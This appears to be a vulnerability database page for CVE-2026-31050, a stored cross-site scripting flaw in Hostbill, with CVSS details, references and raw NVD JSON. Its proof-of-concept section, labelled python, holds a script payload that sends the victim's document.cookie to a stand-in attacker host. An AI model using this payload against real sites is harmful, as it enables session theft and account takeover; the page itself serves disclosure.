CVE-2026-31050

Description

Cross Site Scripting vulnerability in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to execute arbitrary code

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Hostbill v.2025-11-24

Hostbill v.2025-12-01

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for Hostbill Stored XSS
Attacker injects payload into a vulnerable input field (e.g., Ticket Subject or Description)
-->
<script>
  // Basic payload to test vulnerability
  alert('CVE-2026-31050 XSS Triggered');

  // Advanced payload to steal cookies (demonstration only)
  var img = new Image();
  img.src = "http://attacker-server.com/steal?c=" + document.cookie;
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31050
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31050
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31050/
[4] VulDB https://vuldb.com/cve/CVE-2026-31050
[5] https://blog.hostbillapp.com/2025/12/03/hostbill-security-advisory/
[6] https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Stored%20Cross-Site%20Scripting%20%28XSS%29%20Vulnerability/admin%20and%20client%20interfaces
[7] https://hostbillapp.com/changelog
[8] https://hostbillapp.com/release-notes/11-27-2025.html
[9] https://hostbillapp.com/release-notes/12-01-2025.html
[10] https://hostbillapp.com/responsible-disclosure
[11] https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Stored%20Cross-Site%20Scripting%20%28XSS%29%20Vulnerability/admin%20and%20client%20interfaces

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31050", "sourceIdentifier": "[email protected]", "published": "2026-04-24T15:16:26.980", "lastModified": "2026-04-24T17:55:55.317", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to execute arbitrary code"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://blog.hostbillapp.com/2025/12/03/hostbill-security-advisory/", "source": "[email protected]"}, {"url": "https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Stored%20Cross-Site%20Scripting%20%28XSS%29%20Vulnerability/admin%20and%20client%20interfaces", "source": "[email protected]"}, {"url": "https://hostbillapp.com/changelog", "source": "[email protected]"}, {"url": "https://hostbillapp.com/release-notes/11-27-2025.html", "source": "[email protected]"}, {"url": "https://hostbillapp.com/release-notes/12-01-2025.html", "source": "[email protected]"}, {"url": "https://hostbillapp.com/responsible-disclosure", "source": "[email protected]"}, {"url": "https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Stored%20Cross-Site%20Scripting%20%28XSS%29%20Vulnerability/admin%20and%20client%20interfaces", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}